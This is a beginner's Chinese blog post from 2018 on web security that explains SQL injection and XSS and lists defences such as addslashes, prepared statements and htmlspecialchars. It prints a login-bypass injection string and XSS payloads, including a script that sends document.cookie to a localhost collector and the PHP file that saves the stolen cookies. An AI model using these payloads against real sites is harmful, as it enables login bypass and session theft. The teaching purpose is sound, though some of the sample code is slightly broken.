Web安全

Web安全

web安全的概念太过于宽泛,博主自知了解的并不多,还需要继续学习。但是又想给今天的学习进行总结,所以今天特分享一篇关于web安全的文章,希望对初次遇到web安全问题的同学提供帮助。

SQL注入

  • 数据库表

  • 出现场景

当开发登录模块的时候,如果我们使用是MySQL操作PHP,并非使用mysqliPDO等;当查询用户是否存在的SQL是这样写的,select * from user where name = 'admin' and password = '123456'; 这样写是以查询来的,但是会出现漏洞。居心叵测的人就可以使用万能密码xxx ' or 1 # 来破解上面的登录操作。

  • 如何防范

1、过滤非法字符:保证传来的字符串作为一个参数,而不是语句拼接的一部分。所以需要对特殊字符进行转义,可以使用addslashes函数,我们可以给$_GET、$_POST、$_COOKIE等几个数组进行转义。下面我给大家封装了一个方法,递归给数组中带特殊字符的元素进行转义。

封装函数

<?php
/**
 * 给数组中的特殊字符进行转义
 * @param arr $arr 转义前的数组
 * @return arr 转义后的数组
 */function _addslashes($arr){

					foreach ($arr
									as
											$k => $v) {

					if(is_string($v)){

					$arr[$k] = addslashes($v);
        }else
							if(is_array($v)){

					$arr[$k] = _addslashes($v);
        }
    }

					return
							$arr;
}?>

其次,在初始化文件中,使用以下代码

<?php //给get、post、cookie中的内容进行转义

$_GET = _addslashes($_GET);

$_POST = _addslashes($_POST);

$_COOKIE = _addslashes($_COOKIE);

?>

 

2、确保正确的数据类型:判断url或表单中传来的数据是否为想要的数据类型,如果不是,进行相应的数据类型转换。如使用方法intval() 提取变量中的整数值;如果参数错误,可以提示用户非法操作!

3、使用正则表达式:设置用户的输入规则,限制用户不安规则瞎输

4、使用预处理而不是拼接SQL语句:在上文我说过,使用mysql操作数据库会出现漏洞,避免出现这样的问题,可以使用mysqli、PDO来操作数据库。因为它们两都是将SQL预处理的,然后放入参数。

prepare st1 from 'select * from user where name=? and password=?';//首先定义sql模板

set @a="admin' or 1 #";//设置参数1

set @b='123456';//设置参数2

execute st1 using @a,@b;//执行sql

 

xss攻击

  • 案列 
    在从事项目开发中,经常会碰到评论功能,如果我们将评论的内容直接存到表中,那么显示的时候就可能被用户输入的东西进行攻击。

1、恶作剧:

<font size="100" color="red">逗你玩</font>

 

 

2、略带恶意: 
这样就会无限的弹出对话框了,这个网站就挂了,除非把改评论删除

<script>while(true) {
alert('欢迎你');
} </script>

 

 

3、恶意 
读取你的cookie信息,并发送到指定的页面,进行保存操作。

获取cookie的信息

<script>
alert(document.cookie);</script>

 

评论的内容

<script> var url = "http://localhost//toucookie.php?cookie=" + document.cookie; var img = document.createElement("img");

img.src = url; document.appendChild(url); </script>

 

toucookie.php中的内容

<?php

/**

* 保存传过来的cookie信息

*/

file_put_contents('./cookie.txt', $_GET['cookie'],FILE_APPEND);

?>

 

 

cookie.txt的内容

name=admin; cookiecode=6db8034dfdeb453362f50154ee6fa45d

  • 防范xss
  1. 不需要展示HTML标签的表单内容,入库时直接转成实体显示

    $_POST['content] = htmlspecialchars($_POST['content']);

    2、可以用正则检测输入框必须为email等合法数据

    3、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等 
    strip_tags 来过滤html标签

    4、需要展示HTML标签的部分, 仅允许展示有限的标签,如p,a,img等 
    如strip_tags 来过滤html标签

posted on 2018-11-24 14:28  kexinxin  阅读(196)  评论(0编辑  收藏  举报

导航